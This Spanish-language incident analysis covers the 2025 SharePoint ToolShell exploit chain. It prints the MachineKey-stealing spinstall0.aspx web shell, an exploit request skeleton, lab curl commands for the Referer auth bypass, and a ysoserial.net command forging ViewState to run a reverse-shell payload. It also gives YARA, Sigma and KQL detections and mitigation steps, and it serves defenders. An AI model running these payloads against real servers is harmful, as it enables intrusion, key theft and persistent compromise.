SharePoint ToolShell: el auth bypass que Microsoft parchea dos veces

El 19 de julio de 2025 Microsoft publica un advisory out-of-band sobre CVE-2025-53770 en SharePoint Server on-premises. RCE pre-auth, CVSS 9.8, deserialization of untrusted data, explotación in-the-wild confirmada. Al día siguiente añaden CVE-2025-53771 (CVSS 6.5, improper authentication, path traversal). En el blog de MSRC aparece la frase que cambia la historia: estas dos CVE son patch bypass de las que Microsoft parcheó el 8 de julio en el Patch Tuesday del mes — CVE-2025-49706 (auth bypass) y CVE-2025-49704 (deserialization).

El equipo que arma la cadena originalmente es Code White GmbH, que la demuestra en Pwn2Own Berlin (mayo de 2025) bajo el nombre ToolShell. La cadena entra al circuito de Microsoft vía Pwn2Own, recibe parche el 8 de julio, y para mediados de julio los atacantes encuentran que el parche se salta con un cambio trivial en la URL — un slash al final del path basta para bypassar la nueva validación. El 17–18 de julio la explotación masiva empieza. Eye Security detecta la primera oleada a gran escala el 18 a las 18:06 UTC. Microsoft atribuye con confianza alta a Linen Typhoon (APT27) y Violet Typhoon (APT31), y reporta a Storm-2603 desplegando ransomware Warlock sobre los servidores ya comprometidos.

El web shell del kit, spinstall0.aspx, no es shell: es extractor de MachineKeys. Eso es lo que convierte ToolShell en problema persistente — el atacante roba ValidationKey y DecryptionKey del IIS, parcheas el servidor, y el atacante sigue entrando porque puede firmar payloads __VIEWSTATE válidos hasta que rotes las llaves.

Lab: cadena reproducida contra una instancia SharePoint Server 2019 sin parchear en VM aislada. Análisis basado en la divulgación de Microsoft MSRC, el write-up de Eye Security, el deep-dive de Kaspersky GReAT en Securelist, la guía de Unit 42 y la addition de CISA a KEV el 20 de julio.

Cuatro CVE, dos cadenas, un problema

El número de CVE es confuso porque Microsoft no parchea la cadena, parchea cada bug por separado, y los atacantes encuentran la forma de saltarse el parche.

La cadena operativa que los atacantes lanzan desde el 17–18 de julio es 49706 + 49704 (cadena original de Pwn2Own) o, en servidores ya parcheados con el patch del 8, 53771 + 53770 (cadena bypass). Las cuatro CVE comparten endpoint, gadget y artefactos. La diferencia es solo qué bytes del request pasan el filtro.

Bug 1 — el auth bypass por cabecera Referer (CVE-2025-49706 / CVE-2025-53771)

SharePoint registra un handler en el pipeline ASP.NET llamado PostAuthenticateRequestHandler. Su trabajo: para cada request, decidir si la URL requiere autenticación. La lógica vulnerable trata como no autenticadas a las URLs que coinciden con la página de cierre de sesión — /_layouts/SignOut.aspx y similares — porque tiene sentido que un usuario que ya está cerrando sesión no necesite estar autenticado para hacerlo.

El bug está en cómo el handler decide si una URL “coincide” con SignOut. Reconstruyendo a partir del análisis de Kaspersky GReAT:

// Pseudo-código de la lógica vulnerable (CVE-2025-49706)
public void OnPostAuthenticateRequest(HttpContext ctx) {
    string referer = ctx.Request.Headers["Referer"] ?? "";
    if (referer.EndsWith("/_layouts/SignOut.aspx",
                        StringComparison.OrdinalIgnoreCase)) {
        ctx.SkipAuthorization = true;
        return;
    }
    // ... resto del handler
}

El handler mira la cabecera Referer del cliente, no la URL real que está sirviendo. Si el cliente envía Referer: /_layouts/SignOut.aspx, el handler decide que el request es parte de un flujo de cierre de sesión y salta la autorización. El problema: el cliente controla 100 % la cabecera Referer. Nada le impide poner ese valor exacto en un request dirigido a /_layouts/15/ToolPane.aspx, un endpoint que sí requiere auth para todo lo demás.

El parche del 8 de julio (49706) cambia la comparación a un equals exacto contra un set conocido de URLs. El patch bypass (53771) descubre que el código sigue normalizando paths antes de comparar y que /_layouts/SignOut.aspx/ (trailing slash) o variantes que pasan por la normalización del routing terminan colándose. Microsoft acaba reemplazando la lógica entera por un allowlist explícito de endpoints permitidos sin auth.

Un atacante con cualquiera de las dos CVE puede llamar a cualquier handler del pipeline como si fuera un usuario autenticado. Pero llamar a un endpoint autenticado no es RCE — es solo el primer eslabón.

Bug 2 — la deserialización insegura en ToolPane.aspx (CVE-2025-49704 / CVE-2025-53770)

Una vez el atacante salta la auth, dirige el request al endpoint que de verdad importa: /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx. Ese endpoint admite parámetros MSOTlPn_Uri y MSOTlPn_DWP con markup XML que describe un WebPart. SharePoint parsea el XML para reconstruir el WebPart y lo añade a la página.

La parte vulnerable es cómo SharePoint deserializa el XML. El parser usa una clase ExcelDataSet que admite contenido serializado, y el XML del atacante contiene una secuencia que el parser interpreta como una instrucción para instanciar un objeto ExpandedWrapper<T,U> con tipos arbitrarios. ExpandedWrapper es una clase de System.Data.Services.Internal que .NET considera segura para deserializar pero que permite “expandir” un objeto envolviendo otro. Combinándolo con un ObjectDataProvider o similar, el atacante consigue una gadget chain que termina llamando a un método arbitrario con argumentos arbitrarios.

El payload típico viaja en el body del POST, en un campo serializado y comprimido. El esqueleto del request, según el análisis de Eye Security:

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: sharepoint.victima.local
Referer: /_layouts/SignOut.aspx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Type: application/x-www-form-urlencoded
Content-Length: <…>

MSOTlPn_DWP=<XML+payload deserializable, base64+deflate>&MSOTlPn_Uri=/...

Cuando SharePoint parsea ese XML, la cadena de deserialización ejecuta código en el proceso del worker IIS (w3wp.exe), que en SharePoint corre como SPApplicationPool con permisos para escribir en LAYOUTS\ y leer la configuración del MachineKey.

El parche 49704 del 8 de julio añade una blacklist de tipos prohibidos para la deserialización. El patch bypass 53770 descubre que el wrapper concreto que usa la cadena de Code White no está en esa blacklist y la deserialización pasa igual. El fix definitivo (53770) reemplaza el XmlValidator por una validación que comprueba el tipo de cada elemento contra una allowlist en lugar de bloquear los conocidos malos. Patrón clásico — bloquear por blacklist es difícil; validar por allowlist es la corrección estructural.

El payload — spinstall0.aspx, web shell que roba MachineKeys

La carga útil que los actores publican tras la deserialización es un ASPX dropeado en:

C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx

(Variantes observadas: spinstall.aspx, spinstall1.aspx, xxx.aspx con hash diferente. El nombre canónico observado por Eye Security es spinstall0.aspx, SHA-256 92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514.)

El archivo son unas líneas de C# inline que usan reflection para leer MachineKeySection.GetApplicationConfig(), un método interno (BindingFlags.NonPublic) que devuelve la configuración del web.config con ValidationKey y DecryptionKey en claro:

<%@ Page Language="C#" %>
<%
  var sy = System.Reflection.Assembly.Load(
    "System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
  var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
  var gac = mkt.GetMethod("GetApplicationConfig",
    System.Reflection.BindingFlags.Static |
    System.Reflection.BindingFlags.NonPublic);
  var cg = (System.Web.Configuration.MachineKeySection) gac.Invoke(null, new object[0]);
  Response.Write(cg.ValidationKey + "|" + cg.Validation + "|" +
                 cg.DecryptionKey + "|" + cg.Decryption + "|" +
                 cg.CompatibilityMode);
%>

El atacante hace un GET /_layouts/15/spinstall0.aspx, el servidor le devuelve algo como:

A1B2C3D4E5F6...|HMACSHA256|F1E2D3C4B5A6...|AES|Framework45

Esos son los secretos que IIS usa para firmar y cifrar __VIEWSTATE — el campo oculto que ASP.NET inserta en cada formulario para mantener estado entre requests. Con ValidationKey y DecryptionKey en mano, el atacante usa ysoserial.net para construir un __VIEWSTATE firmado con la clave robada, conteniendo una gadget chain que ejecuta lo que quiera al deserializarse:

ysoserial.exe -p ViewState \
  -g TextFormattingRunProperties \
  -c "powershell -enc <base64 reverse shell>" \
  --path="/_layouts/15/ToolPane.aspx" \
  --apppath="/" \
  --decryptionalg="AES" \
  --decryptionkey="F1E2D3C4B5A6..." \
  --validationalg="HMACSHA256" \
  --validationkey="A1B2C3D4E5F6..."

El __VIEWSTATE resultante se manda en cualquier request a un handler ASP.NET del servidor — no hace falta la cadena de auth bypass + deserialization original. El servidor confía en el __VIEWSTATE porque está firmado con la clave correcta, lo deserializa, y ejecuta la gadget. El atacante tiene persistencia con un primitivo (mandar requests firmados) que sobrevive a cualquier patch que no rote las MachineKeys.

Aquí está la pieza estructural del incidente. La cadena 49706 + 49704 (o sus bypass) es el initial access. El robo de MachineKeys es el persistence mechanism. Parchear sin rotar deja el persistente intacto.

PoC del primer eslabón en lab cerrado

La cadena completa de Code White se publica con detalle suficiente para reproducirla; lo que sigue es el primer eslabón (auth bypass + invocación del endpoint vulnerable) contra un SharePoint Server 2019 sin parches de julio en VM aislada, basado en los PoC públicos de Code White y de los repos comunitarios que circularon a partir del 19 de julio:

# Verificar versión vulnerable (header MicrosoftSharePointTeamServices)
$ curl -sk -I https://sp.lab/_layouts/15/start.aspx | grep -i microsoftsharepoint
MicrosoftSharePointTeamServices: 16.0.0.10417.20018   # build sin parche jul-2025

# Probar el auth bypass — endpoint normalmente requiere auth
$ curl -sk -o /dev/null -w "%{http_code}\n" https://sp.lab/_layouts/15/ToolPane.aspx
401

# Con la cabecera Referer mágica salta a 200 (auth bypass funciona)
$ curl -sk -o /dev/null -w "%{http_code}\n" \
    -H "Referer: /_layouts/SignOut.aspx" \
    https://sp.lab/_layouts/15/ToolPane.aspx
200

A partir del 200, el siguiente paso es el POST a ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx con el payload XML deserializable en MSOTlPn_DWP. En el lab, una vez el proceso w3wp.exe deserializa la gadget chain, lo que se ve es un spinstall0.aspx aparecer en LAYOUTS\ y un cmd.exe hijo de w3wp.exe ejecutando lo que el ViewState forjado decida — clásico telltale de exploitation .NET.

Verificación contra el patch del 19 de julio (KB que aplica 53770/53771):

$ curl -sk -o /dev/null -w "%{http_code}\n" \
    -H "Referer: /_layouts/SignOut.aspx" \
    https://sp-patched.lab/_layouts/15/ToolPane.aspx
401   # auth bypass cerrado; la única ruta es VIEWSTATE forjado con MachineKey

El detalle importante: el 401 en el servidor parcheado no significa que estés a salvo si el servidor fue comprometido antes. Si la MachineKey se filtró con spinstall0.aspx en cualquier momento, el atacante sigue teniendo el primitivo de forjar ViewState.

La cronología que importa

Pieza operativa más importante: la ventana entre el parche del 8 de julio y los patches OOB del 19–20 es donde la cadena bypass entra a escala. Cualquier equipo que parcheó el 8 y dio por cerrado el incidente sin rotar MachineKeys quedó expuesto a la versión 53770/53771 sin saberlo.

Detección

CISA y Microsoft publican IoCs específicos. Lo más práctico para un blue team:

Logs IIS — patrón del request inicial:

sc-method=POST
cs-uri-stem=/_layouts/15/ToolPane.aspx
cs-uri-query=DisplayMode=Edit&a=/ToolPane.aspx
cs(Referer)=/_layouts/SignOut.aspx

KQL para Microsoft Sentinel sobre W3CIISLog:

W3CIISLog
| where csUriStem == "/_layouts/15/ToolPane.aspx"
| where csUriQuery has "DisplayMode=Edit"
| where csReferer endswith "/_layouts/SignOut.aspx"
| project TimeGenerated, cIP, csUserAgent, scStatus, csBytes

Filesystem — buscar el web shell:

# Cualquier ASPX en LAYOUTS no firmado por Microsoft
Get-ChildItem -Path "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\" `
  -Filter "*.aspx" -Recurse |
  Where-Object {
    -not (Get-AuthenticodeSignature $_.FullName).Status -eq 'Valid'
  }

Nombres a vigilar: spinstall0.aspx, spinstall.aspx, xxx.aspx, cualquier ASPX en LAYOUTS\ con timestamp posterior al deployment original y sin firma.

Procesos — w3wp.exe lanzando hijos no habituales (cmd.exe, powershell.exe, csc.exe compilando ad-hoc).

Egress — conexiones outbound desde el host SharePoint que no se correspondan con sync legítimo. IPs publicadas por Eye Security: 96.9.125.147, 107.191.58.76, 104.238.159.149, y la docena de IPs adicionales de las olas posteriores.

YARA — detección estática de spinstall0.aspx

Regla pública de Eye Security para el web shell:

rule sharepoint_toolshell_spinstall_webshell
{
    meta:
        author      = "Eye Security + community"
        cve         = "CVE-2025-53770"
        description = "Detecta spinstall0.aspx que extrae MachineKey via reflection"
    strings:
        $hdr        = "<%@ Page Language=\"C#\"" ascii
        $reflection = "System.Reflection" ascii
        $machinekey = "MachineKeySection" ascii
        $validation = "ValidationKey" ascii
        $decryption = "DecryptionKey" ascii
        $getfield   = "GetField" ascii
        $nonpublic  = "BindingFlags.NonPublic" ascii
    condition:
        $hdr at 0 and 5 of ($reflection, $machinekey, $validation, $decryption, $getfield, $nonpublic)
}

Sigma — detección del chain en logs IIS

title: SharePoint ToolShell ToolPane Auth Bypass
id: a7c3f8e1-5b9d-4e2a-9c8f-1b2c3d4e5f6a
status: stable
references:
  - https://research.eye.security/sharepoint-under-siege/
  - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770
logsource:
  product: iis
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem|endswith: '/ToolPane.aspx'
    cs-uri-query|contains: 'DisplayMode=Edit'
    cs-Referer|endswith: '/SignOut.aspx'
  condition: selection
level: critical
falsepositives:
  - Ninguna conocida — admin legítimo no llega a ToolPane vía Referer SignOut

IoCs consolidados (Microsoft + Eye Security + Mandiant)

Rotación de MachineKey — el paso que cierra la persistencia

Es el control crítico que muchos equipos olvidan. Parchear sin rotar deja al atacante con ViewState forjable indefinidamente:

# Regenerar MachineKey en TODAS las web applications
Get-SPWebApplication | ForEach-Object {
    Update-SPMachineKey -WebApplication $_
}

# Reiniciar timer service + IIS para aplicar
Restart-Service SPTimerV4
iisreset

# Verificar
Get-SPWebApplication | Select-Object Name, MachineKey

Microsoft eleva Update-SPMachineKey de cmdlet de troubleshooting a control obligatorio post-parche en la guidance del 22-jul.

Mitigación, en orden operativo

1. Aplicar el parche OOB que cubre 53770 y 53771. Para SharePoint Subscription Edition disponible el 19-jul; SharePoint Server 2019 el 20-jul; SharePoint Server 2016 el 23-jul. Microsoft confirma que SharePoint Online (M365) no está afectado — el bug es exclusivo de on-premises.
2. Habilitar AMSI integration en modo Full y conectar Defender Antivirus. AMSI permite a Defender ver el contenido del ASPX dropeado antes de que IIS lo ejecute. La guía de Microsoft pide AMSI on por defecto post-parche; en servidores con AMSI off durante la ventana de exposición, hay que asumir el web shell pudo correr sin detección.
3. Rotar ValidationKey y DecryptionKey del MachineKey en web.config y reiniciar IIS. Esta es la pieza que muchos equipos olvidan. El comando PowerShell oficial (Microsoft):

   Update-SPMachineKey -WebApplication "https://sp.victima.local"
   iisreset

   Sin rotación, cualquier MachineKey filtrada vía spinstall0.aspx sigue siendo válida indefinidamente.
4. Auditar LAYOUTS\ en busca de ASPX desconocidos y limpiar. Conservar copia forense antes de borrar para análisis.
5. Revisar logs IIS retroactivamente del 7-jul a la fecha del parche aplicado. Cualquier 200 OK a /_layouts/15/ToolPane.aspx con Referer: /_layouts/SignOut.aspx debe asumirse como compromiso.
6. Si AMSI estuvo desactivado durante la ventana: tratar el servidor como totalmente comprometido. Storm-2603 desplegó Warlock ransomware sobre varios entornos vía esta cadena; la presencia del web shell no garantiza que ese sea el único artefacto.
7. Medio plazo — restringir el acceso a SharePoint on-prem detrás de un reverse proxy con auth previa (Entra ID Application Proxy, Cloudflare Access, etc.). Eliminar exposición directa de /_layouts/15/ a internet en cualquier instalación que no sea explícitamente customer-facing.

Lo que enseña

1. Patch bypass tras Pwn2Own es la norma, no la excepción. Code White entrega la cadena en mayo; Microsoft tiene dos meses para parchear; el parche que sale el 8 de julio es incompleto y los atacantes lo descubren en una semana. La conclusión operativa para defensores: cuando Microsoft saca un parche para una cadena conocida en Pwn2Own, asumir que el parche es la primera iteración y prepararse para iteraciones siguientes. La ventana entre el 8-jul y el 19-jul es donde la mayoría del daño ocurre.

2. Deserialización + blacklist es deuda técnica. La fix correcta (53770) acaba con una allowlist de tipos. La fix incorrecta (49704) era una blacklist. Cualquier código heredado que deserializa input controlable por el atacante y se defiende con if (typeof X is "ExpandedWrapper") reject se va a romper en cuanto un investigador encuentre un wrapper no listado. SharePoint, MOVEit, Cleo MFT, GoAnywhere — la lista del año es larga, y todas comparten el mismo patrón.

3. MachineKey theft es el patrón de persistencia de 2025. Lo que el atacante quiere de un servidor IIS comprometido no es shell — es la clave que firma el ViewState. Con esa clave puede entrar cuando quiera con un POST trivial, sin volver a tocar la cadena original. La rotación de MachineKey debería ser parte estándar de cualquier respuesta a incidente contra IIS, no algo opcional. Misma lección que Citrix Bleed con session tokens y Storm-0558 con la clave de firma de Microsoft: patch + rotate, no patch a secas.

4. SharePoint on-prem sigue siendo perímetro crítico que no debería serlo. Las víctimas grandes de julio son organizaciones con SharePoint 2019/2016 expuesto a internet por compatibilidad con flujos heredados — sharepoint-portal, file-share externo, integraciones legacy. Cada año uno de estos productos enterprise mantiene su CVE crítico pre-auth (Exchange, SharePoint, Confluence, Citrix, Ivanti). La pregunta operativa para 2026: ¿qué de esto tiene que seguir on-prem y qué se mueve a SaaS gestionado donde el parche es responsabilidad del vendor?

Referencias

• Microsoft MSRC blog, Customer guidance for SharePoint vulnerability CVE-2025-53770 (19-jul-2025): https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/
• Microsoft Security blog, Disrupting active exploitation of on-premises SharePoint vulnerabilities (22-jul-2025): https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/
• Eye Security Research, SharePoint under siege: ToolShell exploit (CVE-2025-49706 & CVE-2025-49704): https://research.eye.security/sharepoint-under-siege/
• Kaspersky Securelist (GReAT), Analysis of the ToolShell vulnerabilities and exploit code: https://securelist.com/toolshell-explained/117045/
• Palo Alto Unit 42, Active exploitation of Microsoft SharePoint vulnerabilities: threat brief: https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/
• CISA, Microsoft releases guidance on exploitation of SharePoint vulnerabilities (20-jul-2025): https://www.cisa.gov/news-events/alerts/2025/07/20/update-microsoft-releases-guidance-exploitation-sharepoint-vulnerabilities
• CISA KEV addition CVE-2025-53770: https://www.cisa.gov/news-events/alerts/2025/07/20/cisa-adds-one-known-exploited-vulnerability-cve-2025-53770-toolshell-catalog
• Check Point Research, Before ToolShell: exploring Storm-2603’s previous ransomware operations: https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/
• Trustwave, Storm-2603: targeting SharePoint vulnerabilities and critical infrastructure worldwide: https://www.trustwave.com/en-us/resources/blogs/trustwave-blog/storm-2603-targeting-sharepoint-vulnerabilities-and-critical-infrastructure-worldwide/
• MITRE ATT&CK Campaign C0058 (SharePoint ToolShell Exploitation): https://attack.mitre.org/campaigns/C0058/
• NVD CVE-2025-53770: https://nvd.nist.gov/vuln/detail/CVE-2025-53770
• NVD CVE-2025-53771: https://nvd.nist.gov/vuln/detail/CVE-2025-53771